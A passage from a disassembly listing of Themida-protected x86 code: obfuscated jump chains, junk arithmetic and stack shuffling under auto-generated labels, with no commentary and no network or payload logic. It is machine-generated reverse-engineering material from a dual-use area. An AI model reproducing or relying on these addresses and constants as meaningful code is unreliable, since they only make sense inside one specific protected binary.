loc_59EC8E ; --------------------------------------------------------------------------- loc_5A1887: ; CODE XREF: Themida_:005A7EE2j pop ebp sub eax, esi jmp loc_5A2E00 ; --------------------------------------------------------------------------- loc_5A188F: ; CODE XREF: Themida_:0059AC97j sub edi, 4 xchg edi, [esp] pop esp mov [esp], esi push eax mov eax, 13276E40h sub esp, 4 mov [esp], eax jmp loc_59F7AD ; --------------------------------------------------------------------------- loc_5A18AD: ; CODE XREF: Themida_:005A2495j jnb loc_5987E6 shr eax, 4 js loc_5A9C90 jmp loc_5A61E6 ; --------------------------------------------------------------------------- mov ax, [esp] push 4B31h mov [esp], ebp push 2930h mov [esp], esp push ecx jmp loc_5ABB95 ; --------------------------------------------------------------------------- loc_5A18DB: ; CODE XREF: Themida_:0059FC63j mov ebx, 26F67167h xchg ebp, ebx not ebp push ebx jmp loc_59EA97 ; --------------------------------------------------------------------------- loc_5A18EA: ; CODE XREF: Themida_:0059CE1Dj push 12C1h jmp loc_5AE435 ; --------------------------------------------------------------------------- loc_5A18F4: ; CODE XREF: Themida_:005A7237j pop edx xor eax, [esp] jmp loc_5995BE ; --------------------------------------------------------------------------- loc_5A18FD: ; CODE XREF: Themida_:005A8B75j mov edx, 35964022h mov ebx, 0AEA89E8Eh push ecx jmp loc_599AC0 ; --------------------------------------------------------------------------- mov ax, [esp] push 2DFBh mov [esp], ebx push esp pop ebx add ebx, 4 jmp loc_5A70D2 ; --------------------------------------------------------------------------- loc_5A1926: ; CODE XREF: Themida_:005ABE01j push edx mov edx, esp push ebp mov ebp, 7B612859h or ebp, 5D1C5144h jmp loc_59B7FB ; --------------------------------------------------------------------------- loc_5A193A: ; CODE XREF: Themida_:005A582Bj ; Themida_:005A78D6j add edi, eax pop eax push 140Ch mov [esp], edx mov edx, 4 jmp loc_59F91C ; --------------------------------------------------------------------------- loc_5A194F: ; CODE XREF: Themida_:005A2796j jno loc_5AA410 sub esi, 58FCF9A3h jmp loc_5A13D2 ; --------------------------------------------------------------------------- mov cl, dh loc_5A1962: ; CODE XREF: Themida_:005A8427j mov edx, [esp] push edi jmp loc_5A4ABC ; --------------------------------------------------------------------------- loc_5A196B: ; CODE XREF: Themida_:00599B4Dj jmp loc_5A42C6 ; --------------------------------------------------------------------------- loc_5A1970: ; CODE XREF: Themida_:005AE4A0j xor al, bl pop ebx push ecx push edx mov dl, 7Ah shr dl, 8 inc dl jns loc_59A420 jmp loc_5AB400 ; --------------------------------------------------------------------------- sub ebp, edi jmp loc_59921B ; --------------------------------------------------------------------------- loc_5A198E: ; CODE XREF: Themida_:005AD4D6j sub esp, 4 mov [esp], ebx jmp loc_5AC926 ; --------------------------------------------------------------------------- loc_5A1999: ; CODE XREF: Themida_:005A5B9Dj push dword ptr [esp+4] pop ebp pop dword ptr [esp] mov esp, [esp] jmp loc_5ACEC2 ; --------------------------------------------------------------------------- loc_5A19A9: ; CODE XREF: Themida_:0059D9AFj sub eax, 53B600DAh sub eax, 2DFE7264h push dword ptr [esp] pop esi push eax mov eax, esp add eax, 4 add eax, 4 xor eax, [esp] xor [esp], eax jmp loc_59ED3C ; --------------------------------------------------------------------------- loc_5A19CF: ; CODE XREF: Themida_:0059DC67j sub eax, 7DA52320h push esi push 2D45h mov [esp], ebx mov ebx, 435F470Ch jmp loc_5A7A61 ; --------------------------------------------------------------------------- loc_5A19E7: ; CODE XREF: Themida_:005ABEFAj pop edi mov esi, ebp jmp loc_59CDE4 ; --------------------------------------------------------------------------- loc_5A19EF: ; CODE XREF: Themida_:0059C36Fj xor [esp], eax jmp loc_59862D ; --------------------------------------------------------------------------- loc_5A19F7: ; CODE XREF: Themida_:00599BD0j or eax, 20C55DD3h neg eax sub eax, 0D2358B02h add ebx, eax pop eax push 469Fh jmp loc_5985BA ; --------------------------------------------------------------------------- loc_5A1A10: ; CODE XREF: Themida_:005A4744j mov ch, 0A2h jmp loc_59FACC ; --------------------------------------------------------------------------- loc_5A1A17: ; CODE XREF: Themida_:0059F53Cj shl edi, 6 xor edi, 1C4E2EBDh push ecx jmp loc_599512 ; --------------------------------------------------------------------------- loc_5A1A26: ; CODE XREF: Themida_:loc_5A74E0j ; Themida_:005A7A9Ej pop ecx shr ebx, 5 sub ebx, 9EF26AB8h add ecx, ebx mov ebx, [esp] add esp, 4 add ecx, 854E49B8h xor edi, ecx mov ecx, [esp] jmp loc_5A85C1 ; --------------------------------------------------------------------------- loc_5A1A48: ; CODE XREF: Themida_:005A4DBBj add ebp, 4 push edi mov edi, 6DA8263Ch add edi, 3472291h xor edi, 29A94D6Ch xor edi, 594605A5h sub ebp, edi pop edi xchg ebp, [esp] mov esp, [esp] mov [esp], eax mov eax, esp push esi mov esi, 4 add eax, esi pop esi jmp loc_59C017 ; --------------------------------------------------------------------------- loc_5A1A82: ; CODE XREF: Themida_:005A039Ej mov esp, [esp] or eax, eax jnz loc_59CE12 push 3680h jmp loc_5A8F52 ; --------------------------------------------------------------------------- loc_5A1A97: ; CODE XREF: Themida_:005A6838j add al, cl add al, 3Fh sub al, 0D1h push ebx push eax mov al, 0A3h inc al jmp loc_5A3CEC ; --------------------------------------------------------------------------- loc_5A1AA8: ; CODE XREF: Themida_:005A8AB4j pop edi add edx, ecx mov ecx, [esp] add esp, 4 add edx, 26FF670Fh pop eax push eax mov eax, 2 jmp loc_5AC0B6 ; --------------------------------------------------------------------------- loc_5A1AC6: ; CODE XREF: Themida_:005AE7B5j push ebx push eax push ebx mov bh, 96h push 2BD3h mov [esp], eax mov al, 65h sub bh, al pop eax push small 576Ch mov [esp], cx jmp loc_5A64D4 ; --------------------------------------------------------------------------- loc_5A1AE5: ; CODE XREF: Themida_:005AEBF3j push edx push dword ptr [esp+4] pop edx pop dword ptr [esp] pop esp add eax, 4 jmp loc_5A3D27 ; --------------------------------------------------------------------------- loc_5A1AF9: ; CODE XREF: Themida_:0059C93Aj dec ecx jl loc_5A711F shr ecx, 7 jmp loc_5A4E94 ; --------------------------------------------------------------------------- loc_5A1B08: ; CODE XREF: Themida_:005A035Aj mov eax, 4 sub edi, eax pop eax jmp loc_59CF22 ; --------------------------------------------------------------------------- loc_5A1B15: ; CODE XREF: Themida_:0059A111j ; Themida_:005A7A7Fj add edi, ecx push ebx mov ebx, 2CDC4894h jmp loc_5AEDA9 ; --------------------------------------------------------------------------- loc_5A1B22: ; CODE XREF: Themida_:005AE052j mov [esp], ebp mov eax, [esp] push 7B28h mov [esp], ecx push esp pop ecx push ebp mov ebp, 4 jmp loc_5AA5ED ; --------------------------------------------------------------------------- loc_5A1B3D: ; CODE XREF: Themida_:005AB1E1j mov [esp], ebx jmp loc_59B27E ; --------------------------------------------------------------------------- loc_5A1B45: ; CODE XREF: Themida_:0059A1DDj sub esp, 4 jmp loc_5998F5 ; --------------------------------------------------------------------------- loc_5A1B4D: ; CODE XREF: Themida_:005AD7A9j shr esi, 6 or esi, 60EA5893h jl loc_59EC9C jmp loc_59ED48 ; --------------------------------------------------------------------------- loc_5A1B61: ; CODE XREF: Themida_:005A2AA0j push esi mov esi, 52D131Eh or edx, esi pop esi not edx add edx, 0CD06886Eh add ebx, 0EBB5082h sub ebx, edx jmp loc_5A62C7 ; --------------------------------------------------------------------------- loc_5A1B7F: ; CODE XREF: Themida_:0059E96Dj and edi, 220213AFh jmp loc_5A179E ; --------------------------------------------------------------------------- loc_5A1B8A: ; CODE XREF: Themida_:005AC69Dj mov [esp], edi mov edi, esp jmp loc_599383 ; --------------------------------------------------------------------------- loc_5A1B94: ; CODE XREF: Themida_:005A7AFEj or esi, 5F077D13h add esi, 0B2223B4h sub esi, 68017141h or ebx, esi pop esi push ecx jmp loc_5AEA08 ; --------------------------------------------------------------------------- loc_5A1BAF: ; CODE XREF: Themida_:005A5290j mov [esp], ebx mov ebx, 2D9F6963h xor [esp+4], ebx mov ebx, [esp] add esp, 4 pop dword ptr [edi+40h] sub esp, 4 jmp loc_5AA163 ; --------------------------------------------------------------------------- loc_5A1BD2: ; CODE XREF: Themida_:005A0EFFj mov esi, [esp] jmp loc_5A322A ; --------------------------------------------------------------------------- push dword ptr [edi+1Ch] popf pop ax adc [esp], ax pushf jmp loc_59838C ; --------------------------------------------------------------------------- loc_5A1BEA: ; CODE XREF: Themida_:005A5582j ; Themida_:005AA770j mov ecx, esp add ecx, 4 add ecx, 4 jmp loc_59E585 ; --------------------------------------------------------------------------- loc_5A1BFA: ; CODE XREF: Themida_:005A657Fj mov ecx, 21CD3403h or ecx, 61CE530Eh push esi mov esi, 75272BAFh add ecx, esi pop esi push edx mov edx, 624C51A2h shr edx, 2 sub edx, 5D7B15BFh add edx, 0FFFFFFFFh push ebp mov ebp, 151E61AEh add ebp, 8FB06B9h jmp loc_5AC1FD ; --------------------------------------------------------------------------- loc_5A1C34: ; CODE XREF: Themida_:005A0077j shl eax, 7 neg eax jmp loc_59EF6C ; --------------------------------------------------------------------------- loc_5A1C3E: ; CODE XREF: Themida_:005AB60Fj pop ax sub bh, 0FFh neg bh push 1A79h mov [esp], edx mov dl, 8Eh sub dl, 0F3h jmp loc_5A41B3 ; --------------------------------------------------------------------------- loc_5A1C57: ; CODE XREF: Themida_:0059B610j mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp] pop esp sub esp, 2 mov [esp], dx jmp loc_5A121E ; --------------------------------------------------------------------------- loc_5A1C78: ; CODE XREF: Themida_:00598A9Bj shr ebx, 6 and ebx, 354B4332h shl ebx, 4 sub ebx, 3C3F742Eh sub ebx, 3AD23368h add esi, ebx jmp loc_59D82A ; --------------------------------------------------------------------------- loc_5A1C97: ; CODE XREF: Themida_:005A0698j push 7AA0h mov [esp], esp add dword ptr [esp], 4 pop ebp push eax push 4 push dword ptr [esp] pop eax push ebx jmp loc_5AB8E1 ; --------------------------------------------------------------------------- loc_5A1CB4: ; CODE XREF: Themida_:005A999Ej sub edi, 9EE4F5Ah add edi, 23AA0990h std jmp loc_5A9F6A ; --------------------------------------------------------------------------- loc_5A1CC6: ; CODE XREF: Themida_:005A75F8j push ebp xor dword ptr [esp], 6D945DA6h pop edi xor edi, 6D945DA6h push dword ptr [esp] pop ebp push ebx push esp pop ebx jmp loc_59E4B6 ; --------------------------------------------------------------------------- loc_5A1CE1: ; CODE XREF: Themida_:0059EC9Fj ; Themida_:005A3763j mov edx, 4 sub edi, edx pop edx xchg edi, [esp] mov esp, [esp] jmp loc_5ABD11 ; --------------------------------------------------------------------------- loc_5A1CF4: ; CODE XREF: Themida_:0059AF65j mov esi, 4C542A9Dh sub esi, 32806811h jmp loc_5A2C83 ; --------------------------------------------------------------------------- loc_5A1D04: ; CODE XREF: Themida_:005AE1D0j sub edx, 4 sub esp, 4 mov [esp], edx push dword ptr [esp+4] jmp loc_5A15E0 ; --------------------------------------------------------------------------- loc_5A1D19: ; CODE XREF: Themida_:0059B0E1j jmp loc_5A2708 ; --------------------------------------------------------------------------- loc_5A1D1E: ; CODE XREF: Themida_:005A1FF0j sub ecx, 812459A8h jmp loc_59A9D0 ; --------------------------------------------------------------------------- loc_5A1D29: ; CODE XREF: Themida_:005AD813j jmp loc_59838C ; --------------------------------------------------------------------------- loc_5A1D2E: ; CODE XREF: Themida_:005A7FE3j not ah dec ah and ah, 0C3h push ecx mov ch, 30h or ch, 0FCh xor ch, 0A1h neg ch xor ch, 0C9h shl ch, 8 sub ch, 39h xor ah, ch pop ecx add ch, ah pop eax push 168Eh mov [esp], edx mov dl, 2Ch jmp loc_59A116 ; --------------------------------------------------------------------------- loc_5A1D5E: ; CODE XREF: Themida_:005A40E2j ; Themida_:005A856Aj push esi not dword ptr [esp] pop esi neg esi sub esi, 49E333A4h xor esi, 0D594326Dh xor edx, esi jmp loc_5AA08B ; --------------------------------------------------------------------------- loc_5A1D78: ; CODE XREF: Themida_:005A507Fj pop dword ptr [esp] jmp loc_5A64E4 ; --------------------------------------------------------------------------- loc_5A1D80: ; CODE XREF: Themida_:005A9552j push dword ptr [esp] push dword ptr [esp] mov ebp, [esp] jmp loc_59951C ; --------------------------------------------------------------------------- loc_5A1D8E: ; CODE XREF: Themida_:0059B38Fj shl ah, 3 shl ah, 5 js loc_5A15B2 or ah, 51h jo loc_5A953C push ecx mov cl, 0BBh xor ah, cl pop ecx jmp loc_5ACD28 ; --------------------------------------------------------------------------- loc_5A1DAE: ; CODE XREF: Themida_:00599830j jb loc_59FB8A push 65C0h mov [esp], ecx mov eax, edi pop esp loc_5A1DBF: ; CODE XREF: Themida_:005A415Fj mov edi, 0 mov ecx, edi push dword ptr [esp] pop edi add esp, 4 add ecx, 309772F3h jmp loc_5AD9A8 ; --------------------------------------------------------------------------- loc_5A1DD8: ; CODE XREF: Themida_:005A8855j mov dl, 0B7h add dl, cl jmp loc_59CF9A ; --------------------------------------------------------------------------- loc_5A1DE1: ; CODE XREF: Themida_:0059C386j mov edx, esp jmp loc_5AB4F5 ; --------------------------------------------------------------------------- loc_5A1DE8: ; CODE XREF: Themida_:005A3F66j mov bl, dl mov [ecx], bl mov ebx, [esp] push ecx push esp push dword ptr [esp] jmp loc_5A62C1 ; --------------------------------------------------------------------------- loc_5A1DF9: ; CODE XREF: Themida_:005A43C3j mov esi, edx pop edx jmp loc_59A79A ; --------------------------------------------------------------------------- loc_5A1E01: ; CODE XREF: Themida_:005A1401j pop esp push 411h mov [esp], edx push dword ptr [esp] pop ecx add esp, 4 pop edx xor eax, ecx push dword ptr [esp] jmp loc_59A459 ; --------------------------------------------------------------------------- loc_5A1E1F: ; CODE XREF: Themida_:005A6240j mov eax, esp jmp loc_5A5DCE ; --------------------------------------------------------------------------- loc_5A1E26: ; CODE XREF: Themida_:0059CBBBj ; Themida_:0059ED0Aj mov edi, esi pop esi jmp loc_5AAC98 ; --------------------------------------------------------------------------- loc_5A1E2E: ; CODE XREF: Themida_:0059E1D3j add edx, edi jmp loc_599CF1 ; --------------------------------------------------------------------------- loc_5A1E35: ; CODE XREF: Themida_:005A006Cj xor ebx, ecx jmp loc_5AC77D ; --------------------------------------------------------------------------- loc_5A1E3C: ; CODE XREF: Themida_:0059CFF3j div cx push small 316Ah jmp loc_59BC3F ; --------------------------------------------------------------------------- loc_5A1E48: ; CODE XREF: Themida_:0059BC3Aj push ecx add dword ptr [esp], 447F4562h mov esi, [esp] add esp, 4 sub esi, 447F4562h jmp loc_5A696F ; --------------------------------------------------------------------------- push dword ptr [esp] pop eax push 1E28h jmp loc_5A8599 ; --------------------------------------------------------------------------- loc_5A1E6F: ; CODE XREF: Themida_:005A56EDj add esp, 4 shr ecx, 7 push dword ptr [edi+1Ch] push ebp mov ebp, 616B52D0h xor [esp+4], ebp pop ebp mov eax, [esp] push edx push esp mov edx, [esp] add esp, 4 push edi jmp loc_5AE84E ; --------------------------------------------------------------------------- loc_5A1E97: ; CODE XREF: Themida_:0059A061j mov ebp, ebx jmp loc_5AB190 ; --------------------------------------------------------------------------- loc_5A1E9E: ; CODE XREF: Themida_:0059A056j push edi push eax mov eax, 232C6035h or eax, 5B333C5Eh add eax, 4834593Ah jmp loc_5A7FD1 ; --------------------------------------------------------------------------- loc_5A1EB4: ; CODE XREF: Themida_:00599658j ; Themida_:005AA086j pop eax add eax, 4 push 382Eh jmp loc_5AC522 ; --------------------------------------------------------------------------- loc_5A1EC4: ; CODE XREF: Themida_:005ACE58j add edi, 4 push eax mov eax, 4 add edi, eax pop eax xchg edi, [esp] pop esp push 777Fh mov [esp], ebp push 4DE1h mov [esp], esp add dword ptr [esp], 4 mov ebp, [esp] push ebp mov ebp, esp add ebp, 4 add ebp, 4 jmp loc_59D64F ; --------------------------------------------------------------------------- loc_5A1EFF: ; CODE XREF: Themida_:0059BFC2j add ebx, 504C0EB8h jnb loc_5A56C6 jmp loc_5A73A5 ; --------------------------------------------------------------------------- mov esi, 4 push esi loc_5A1F16: ; CODE XREF: Themida_:0059F5BFj mov edx, 4 push 24D5h mov [esp], edx pop edi pop edx jmp loc_5ACBE9 ; --------------------------------------------------------------------------- loc_5A1F2A: ; CODE XREF: Themida_:005AAA37j and eax, edi push dword ptr [esp] mov edi, [esp] add esp, 4 push ebx jmp loc_5ACC78 ; --------------------------------------------------------------------------- loc_5A1F3B: ; CODE XREF: Themida_:005AEA99j or eax, 7CC95B89h or eax, 280E65E8h jno loc_5AAD94 and eax, 5A522592h jmp loc_599DF0 ; --------------------------------------------------------------------------- jmp loc_5A9BF4 ; --------------------------------------------------------------------------- loc_5A1F5A: ; CODE XREF: Themida_:0059E179j ; Themida_:0059F068j pop esi inc ecx sub esp, 4 mov [esp], ebx mov ebx, 341100D7h xor ecx, ebx pop ebx add ebx, ecx jmp loc_5AB820 ; --------------------------------------------------------------------------- loc_5A1F71: ; CODE XREF: Themida_:005A29CBj pop edi sub esp, 4 jmp loc_5AA382 ; --------------------------------------------------------------------------- loc_5A1F7A: ; CODE XREF: Themida_:005A0848j jns loc_5A9A3F xor edx, 3F1A2417h jmp loc_5995D6 ; --------------------------------------------------------------------------- pop eax push eax loc_5A1F8D: ; CODE XREF: Themida_:005A2B95j jge loc_59E74D sub ebp, 64A45C2Dh jmp loc_5AC7CF ; --------------------------------------------------------------------------- add esp, 4 loc_5A1FA1: ; CODE XREF: Themida_:loc_5AD8EEj jmp loc_5A3127 ; --------------------------------------------------------------------------- loc_5A1FA6: ; CODE XREF: Themida_:005AD7E2j sub eax, esi jmp loc_5A0925 ; --------------------------------------------------------------------------- loc_5A1FAD: ; CODE XREF: Themida_:0059F059j ; Themida_:005AD1B0j mov [esp], ecx mov ecx, 78267282h shr ecx, 7 jmp loc_5995F3 ; --------------------------------------------------------------------------- loc_5A1FBD: ; CODE XREF: Themida_:005AA1F4j push edx not dword ptr [esp] pop edx push eax mov eax, 33B60E76h jmp loc_5A127F ; --------------------------------------------------------------------------- loc_5A1FCD: ; CODE XREF: Themida_:005A9800j and edi, 251EB6h jmp loc_5AADAF ; --------------------------------------------------------------------------- loc_5A1FD8: ; CODE XREF: Themida_:005A7CF4j xor ecx, 0BB594447h push ebp mov ebp, ecx mov ebx, ebp jmp loc_59EB8C ; --------------------------------------------------------------------------- loc_5A1FE8: ; CODE XREF: Themida_:005AECB0j push ecx mov ecx, 25E97A6Fh not ecx jmp loc_5A1D1E ; --------------------------------------------------------------------------- loc_5A1FF5: ; CODE XREF: Themida_:005999BAj pop ebp pop eax mov ebx, 33774BF2h sub ebx, 5D07287Eh jmp loc_5A87A3 ; --------------------------------------------------------------------------- loc_5A2007: ; CODE XREF: Themida_:005AACC6j jmp loc_59BE97 ; --------------------------------------------------------------------------- loc_5A200C: ; CODE XREF: Themida_:005A3749j mov edi, edx jmp loc_59A36B ; --------------------------------------------------------------------------- loc_5A2013: ; CODE XREF: Themida_:005AEAA7j add esi, eax mov eax, [esp] jmp loc_5A5AAC ; --------------------------------------------------------------------------- loc_5A201D: ; CODE XREF: Themida_:005ADCBAj mov [esp], eax mov eax, 4 jmp loc_59A75E ; --------------------------------------------------------------------------- loc_5A202A: ; CODE XREF: Themida_:005AE775j push ecx jmp loc_59C6A3 ; --------------------------------------------------------------------------- loc_5A2030: ; CODE XREF: Themida_:0059AF2Bj pop eax sub cl, 0Bh jmp loc_59C46B ; --------------------------------------------------------------------------- loc_5A2039: ; CODE XREF: Themida_:005A5876j shr esi, 2 add esi, 533348BDh and esi, 422D1144h xor esi, 420C1000h add eax, esi pop esi xchg eax, [esp] pop esp xor eax, 6517D06h jb loc_5AC859 sub esp, 4 jmp loc_59840F ; --------------------------------------------------------------------------- loc_5A2068: ; CODE XREF: Themida_:005AF1B8j add ebp, 97045F98h add edi, 47B4EAEh add edi, ebp sub edi, 47B4EAEh jmp loc_5AE5D7 ; --------------------------------------------------------------------------- loc_5A2081: ; CODE XREF: Themida_:005A6BC6j add ecx, ebp pop ebp add ecx, 0B8508BFBh sub eax, ecx pop ecx push eax push dword ptr [esp+4] pop eax pop dword ptr [esp] pop esp mov [esp], edx mov edx, 2 jmp loc_598761 ; --------------------------------------------------------------------------- loc_5A20A4: ; CODE XREF: Themida_:005AEEE5j mov ecx, 3C2279C0h sub ecx, edx pop edx add [esp+4], ecx mov ecx, [esp] add esp, 4 push dword ptr [esp] push dword ptr [esp] pop ebp add esp, 4 add esp, 4 add ebp, 4 push edi mov edi, 5E4A7F0Bh add edi, 2ECC7C87h neg edi jmp loc_5AEBBF ; --------------------------------------------------------------------------- loc_5A20E2: ; CODE XREF: Themida_:0059E081j add dword ptr [esp], 4 jmp loc_59BD9F ; --------------------------------------------------------------------------- loc_5A20EB: ; CODE XREF: Themida_:005A82D9j push dword ptr [esp+4] mov eax, [esp] add esp, 4 jmp loc_59B7DC ; --------------------------------------------------------------------------- loc_5A20FA: ; CODE XREF: Themida_:0059CE50j mov [esp], eax push ebx mov ebx, 6E4B455Ah jmp loc_5A3E07 ; --------------------------------------------------------------------------- loc_5A2108: ; CODE XREF: Themida_:005A4924j mov [esp], ebp jmp loc_59FC3C ; --------------------------------------------------------------------------- loc_5A2110: ; CODE XREF: Themida_:005ABB04j add esp, 4 add ebp, 4 jmp loc_5A3D77 ; --------------------------------------------------------------------------- loc_5A211E: ; CODE XREF: Themida_:005AB6E9j pop esp and eax, edi push dword ptr [esp] jmp loc_59AC71 ; --------------------------------------------------------------------------- loc_5A2129: ; CODE XREF: Themida_:0059A759j dec eax push esi mov esi, 2ECA1E7Ch add esi, 2FAF1178h push edi mov edi, 66654BFDh add edi, 72828A58h add esi, edi pop edi xor eax, esi mov esi, [esp] add esp, 4 push ebp mov ebp, esp add ebp, 4 push edi jmp loc_5A7582 ; --------------------------------------------------------------------------- loc_5A215C: ; CODE XREF: Themida_:005AE52Aj sub esp, 4 mov [esp], edx push dword ptr [esp+4] pop edx pop dword ptr [esp] mov esp, [esp] xor [esp], eax jmp loc_59838C ; --------------------------------------------------------------------------- loc_5A2178: ; CODE XREF: Themida_:005AEEDAj push ebp jmp loc_59C4AD ; --------------------------------------------------------------------------- loc_5A217E: ; CODE XREF: Themida_:0059F3F1j pop ecx jmp loc_5AC380 ; --------------------------------------------------------------------------- loc_5A2184: ; CODE XREF: Themida_:005A394Bj mov esp, [esp] jmp loc_5A59B7 ; --------------------------------------------------------------------------- loc_5A218C: ; CODE XREF: Themida_:005A7B5Ej neg ebp jz loc_5A462F sub ebp, 5EF894E5h mov edx, ebp mov ebp, [esp] jmp loc_5AD5FF ; --------------------------------------------------------------------------- loc_5A21A4: ; CODE XREF: Themida_:005AA243j push esi push ebx mov ebx, 45E401C8h jmp loc_59AB0D ; --------------------------------------------------------------------------- loc_5A21B0: ; CODE XREF: Themida_:005AA79Dj add esp, 4 push ecx mov ecx, 21587F26h add edi, 0F8211F5h sub edi, ecx sub edi, 0F8211F5h jmp loc_5A6C96 ; --------------------------------------------------------------------------- loc_5A21CF: ; CODE XREF: Themida_:005A2A60j ; Themida_:005AD8C9j dec esi shr esi, 1 js loc_5A04A9 push ecx mov ecx, 608C2772h shr ecx, 4 add ecx, 78650FA3h inc ecx or ecx, 165F6E9Dh xor ecx, 0BE812A54h add esi, ecx pop ecx push 6DE8h mov [esp], esi jmp loc_5A5DA3 ; --------------------------------------------------------------------------- loc_5A2204: ; CODE XREF: Themida_:005A60E6j jz loc_59E39F neg ebp inc ebp jz loc_5AAC1B push edx jmp loc_5A9443 ; --------------------------------------------------------------------------- loc_5A2219: ; CODE XREF: Themida_:0059D975j mov ebp, [esp] jmp loc_5A8EC4 ; --------------------------------------------------------------------------- loc_5A2221: ; CODE XREF: Themida_:00598D9Aj push edi push edx mov edx, 1C016A54h mov edi, 7B98AEAFh sub edi, edx mov edx, [esp] add esp, 4 push edi mov edi, 62001644h add edx, edi jmp loc_5AB55D ; --------------------------------------------------------------------------- loc_5A2242: ; CODE XREF: Themida_:005A1830j push esp pop ebx push esi push ebx push eax jmp loc_5AF41B ; --------------------------------------------------------------------------- loc_5A224C: ; CODE XREF: Themida_:005AE333j sub eax, ecx pop ecx push ecx jmp loc_5A9FF1 ; --------------------------------------------------------------------------- loc_5A2255: ; CODE XREF: Themida_:005A0BDBj neg edi jns loc_59EF18 jmp loc_5A2D11 ; --------------------------------------------------------------------------- loc_5A2262: ; CODE XREF: Themida_:0059C869j xchg ecx, [esp] pop esp add esi, 4 add esi, 4 jmp loc_5A9884 ; --------------------------------------------------------------------------- loc_5A2277: ; CODE XREF: Themida_:005ACB1Fj xor ebp, esi pop esi xor ebp, 6F6929EFh push eax mov eax, 77CA7937h jmp loc_5A03C5 ; --------------------------------------------------------------------------- loc_5A228B: ; CODE XREF: Themida_:0059BE08j sub esi, 1 sub esi, 16CE6978h push eax jmp loc_5A533C ; --------------------------------------------------------------------------- loc_5A229D: ; CODE XREF: Themida_:005A0A00j mov ecx, [esp] push ebp push esp pop ebp add ebp, 4 add ebp, 4 xor ebp, [esp] xor [esp], ebp xor ebp, [esp] pop esp pop dword ptr [esp] mov esp, [esp] push dword ptr [esp] pop eax push edx push esp mov edx, [esp] jmp loc_59E64C ; --------------------------------------------------------------------------- loc_5A22CD: ; CODE XREF: Themida_:005A50DBj add eax, 4 add eax, 4 jmp loc_5A9080 ; --------------------------------------------------------------------------- loc_5A22DC: ; CODE XREF: Themida_:005ACC36j shl edx, 1 jnz loc_5A78CF xor edx, 8B21CDFFh push ebp jmp loc_5A78DB ; --------------------------------------------------------------------------- db 8Ah, 0F6h ; --------------------------------------------------------------------------- pop ecx loc_5A22F3: ; CODE XREF: Themida_:0059989Bj ; Themida_:005A95E6j push edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp] pop esp sub esp, 4 jmp loc_5AE1E5 ; --------------------------------------------------------------------------- loc_5A230B: ; CODE XREF: Themida_:00598E80j mov esi, 3F7223E3h push ecx mov ecx, 76E32936h mov eax, 0D8B262E3h xor eax, ecx pop ecx sub eax, esi pop esi jmp loc_5ACA2A ; --------------------------------------------------------------------------- loc_5A2326: ; CODE XREF: Themida_:0059EF0Cj sub eax, esi pop esi sub eax, 5ADF77EBh pop ebp sub eax, 7FDE0B5Fh sub eax, ebx jmp loc_5A8B1A ; --------------------------------------------------------------------------- loc_5A233B: ; CODE XREF: Themida_:005A9AE6j mov ecx, 3A822417h and ebp, ecx pop ecx sub ebp, 212E8089h mov edx, ebp push dword ptr [esp] pop ebp jmp loc_5A82C5 ; --------------------------------------------------------------------------- loc_5A2354: ; CODE XREF: Themida_:0059B258j ; Themida_:005A86B1j add eax, 0DEF4C324h add ecx, eax pop eax jmp loc_5A1356 ; --------------------------------------------------------------------------- loc_5A2361: ; CODE XREF: Themida_:005A95D7j shr esi, 2 jnz loc_59C79C jmp loc_5A6AF3 ; --------------------------------------------------------------------------- pop dword ptr [esp] jmp loc_5AE75F ; --------------------------------------------------------------------------- loc_5A2377: ; CODE XREF: Themida_:005A7CB9j sub ebx, 4DAB1463h add ebx, ecx jmp loc_5A8745 ; --------------------------------------------------------------------------- loc_5A2384: ; CODE XREF: Themida_:005A786Bj shl dword ptr [esp], cl pushf jmp loc_59838C ; --------------------------------------------------------------------------- loc_5A238D: ; CODE XREF: Themida_:005A6D9Fj jmp loc_59838C ; --------------------------------------------------------------------------- neg dword ptr [esp] pushf jmp loc_59838C ; --------------------------------------------------------------------------- loc_5A239B: ; CODE XREF: Themida_:005A4681j push eax jmp loc_59E64C ; --------------------------------------------------------------------------- loc_5A23A1: ; CODE XREF: Themida_:005ACC14j push ebp mov ebp, 4F97294Ch not ebp jmp loc_59BF2B ; --------------------------------------------------------------------------- loc_5A23AE: ; CODE XREF: Themida_:005A9637j mov cl, 0B7h shr cl, 8 push ebx mov bl, 16h inc bl sub bl, 18h jmp loc_59B37F ; --------------------------------------------------------------------------- loc_5A23C0: ; CODE XREF: Themida_:005AF537j push 3848h mov [esp], ebp push 7CF9h push esi jmp loc_59948D ; --------------------------------------------------------------------------- loc_5A23D3: ; CODE XREF: Themida_:005AF22Bj push edx mov edx, 51D06C70h mov esi, 0B499FCECh add esi, edx pop edx sub ebp, 3982AACh add ebp, esi add ebp, 3982AACh pop esi jmp loc_5ABDB3 ; --------------------------------------------------------------------------- loc_5A23F5: ; CODE XREF: Themida_:0059CAABj mov ebp, edi pop edi sub ebp, ebx xchg ebp, ebx mov ebp, [esp] add esp, 4 sub ebx, 0E1D6A0D9h sub eax, ebx pop ebx jmp loc_59838C ; --------------------------------------------------------------------------- loc_5A2410: ; CODE XREF: Themida_:005A5F6Aj pop ebp push esi xchg edi, [esp] jmp loc_5A86C7 ; --------------------------------------------------------------------------- loc_5A241A: ; CODE XREF: Themida_:005A95E0j ; Themida_:005AB989j mov ecx, eax pop eax add esi, ecx jmp loc_5AB04B ; --------------------------------------------------------------------------- loc_5A2424: ; CODE XREF: Themida_:005A713Ej or eax, 2D00214Fh jns loc_5A40DD xchg eax, edx not edx xchg eax, edx push ebx jmp loc_5A000A ; --------------------------------------------------------------------------- loc_5A2439: ; CODE XREF: Themida_:005A9007j ; Themida_:005A99B7j xor ebx, edx push dword ptr [esp] pop edx push ecx mov ecx, esp push esi mov esi, 4 add ecx, esi pop esi push edx push ecx push 1F774420h pop ecx sub ecx, 1F77441Ch mov edx, ecx jmp loc_59B546 ; --------------------------------------------------------------------------- loc_5A2460: ; CODE XREF: Themida_:0059F97Aj push dword ptr [esp+4] pop eax pop dword ptr [esp] not eax xchg eax, [esp] pop ecx push edx sub esp, 4 mov [esp], ecx pop edx jmp loc_5A753F ; --------------------------------------------------------------------------- loc_5A247B: ; CODE XREF: Themida_:005A11D1j add esp, 4 inc eax js loc_5AE900 add eax, 4CBE5BD6h jle loc_5A08CD xor eax, 17D19C7h jmp loc_5A18AD ; --------------------------------------------------------------------------- loc_5A249A: ; CODE XREF: Themida_:005A2AE5j not eax jmp loc_5A7496 ; --------------------------------------------------------------------------- loc_5A24A1: ; CODE XREF: 